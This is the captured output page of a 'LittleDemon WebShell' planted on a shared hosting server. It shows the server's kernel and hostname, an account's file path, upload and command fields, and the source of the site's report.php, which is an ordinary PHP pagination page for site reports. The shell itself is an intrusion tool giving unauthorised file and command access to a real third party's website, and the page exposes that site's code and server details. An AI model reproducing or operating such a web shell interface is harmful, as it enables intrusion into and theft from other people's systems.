LittleDemon WebShell


Linux premium274.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
Path : /home/whagcoha/mos.mwagalwaservices.com/
File Upload :
Command :
Current File : /home/whagcoha/mos.mwagalwaservices.com/report.php

<?php
include 'dbconfig/db.php';

// ================= PAGINATION =================
$results_per_page = 10;

// Total records
$totalQuery = $conn->query("
    SELECT COUNT(*) AS total 
    FROM site 
    JOIN client ON site.clientid = client.id
    JOIN activity ON activity.id = site.activityid
");
$totalData = $totalQuery->fetch_assoc();
$total_records = $totalData['total'];

$total_pages = ceil($total_records / $results_per_page);

// Current page
$page = isset($_GET['page']) ? intval($_GET['page']) : 1;
$page = max($page, 1);

$start = ($page - 1) * $results_per_page;

// ================= FETCH DATA =================
$stmt = $conn->prepare("
    SELECT site.id, site.sitename,
           CONCAT(client.firstname, ' ', client.lastname) AS name,
           activity.id AS aid
    FROM site
    JOIN client ON site.clientid = client.id
    JOIN activity ON activity.id = site.activityid
    ORDER BY site.id DESC
    LIMIT ?, ?
");
$stmt->bind_param("ii", $start, $results_per_page);
$stmt->execute();
$result = $stmt->get_result();
?>




<style>
.table th {
    background: #343a40;
    color: #fff;
}
.pagination {
    justify-content: center;
}
</style>

<div class="container mt-4">

    <h4 class="mb-3">
        Site Reports 
        <span class="float-right">Page: <?php echo $page; ?></span>
    </h4>

    <div class="table-responsive">
        <table class="table table-bordered table-hover">

            <thead>
                <tr>
                    <th>Site Name</th>
                    <th>Owner</th>
                    <th>Create Report</th>
                    <th>View Report</th>
                </tr>
            </thead>

            <tbody>

            <?php if ($result->num_rows > 0): ?>

                <?php while ($row = $result->fetch_assoc()): ?>

                <tr>
                    <td>
                        <a href="index.php?p=qoute&bid=<?php echo $row['id']; ?>&aid=<?php echo $row['aid']; ?>">
                            <?php echo htmlspecialchars($row['sitename']); ?>
                        </a>
                    </td>

                    <td><?php echo htmlspecialchars($row['name']); ?></td>

                    <td>
                        <a class="btn btn-sm btn-primary"
                           href="index.php?p=sitereport&sid=<?php echo $row['id']; ?>&aid=<?php echo $row['aid']; ?>">
                           Create
                        </a>
                    </td>

                    <td>
                        <a class="btn btn-sm btn-success"
                           href="viewreport.php?sid=<?php echo $row['id']; ?>&aid=<?php echo $row['aid']; ?>">
                           View
                        </a>
                    </td>
                </tr>

                <?php endwhile; ?>

            <?php else: ?>

                <tr>
                    <td colspan="4" class="text-center">
                        No sites found
                    </td>
                </tr>

            <?php endif; ?>

            </tbody>
        </table>
    </div>

    <!-- ================= PAGINATION ================= -->
    <nav>
        <ul class="pagination">

            <!-- PREVIOUS -->
            <li class="page-item <?php if ($page <= 1) echo 'disabled'; ?>">
                <a class="page-link" href="?p=report&page=<?php echo max(1, $page - 1); ?>">
                    &laquo;
                </a>
            </li>

            <!-- PAGE NUMBERS -->
            <?php for ($i = 1; $i <= $total_pages; $i++): ?>
                <li class="page-item <?php if ($i == $page) echo 'active'; ?>">
                    <a class="page-link" href="?p=report&page=<?php echo $i; ?>">
                        <?php echo $i; ?>
                    </a>
                </li>
            <?php endfor; ?>

            <!-- NEXT -->
            <li class="page-item <?php if ($page >= $total_pages) echo 'disabled'; ?>">
                <a class="page-link" href="?p=report&page=<?php echo min($total_pages, $page + 1); ?>">
                    &raquo;
                </a>
            </li>

        </ul>
    </nav>

</div>


LittleDemon - FACEBOOK
[ KELUAR ]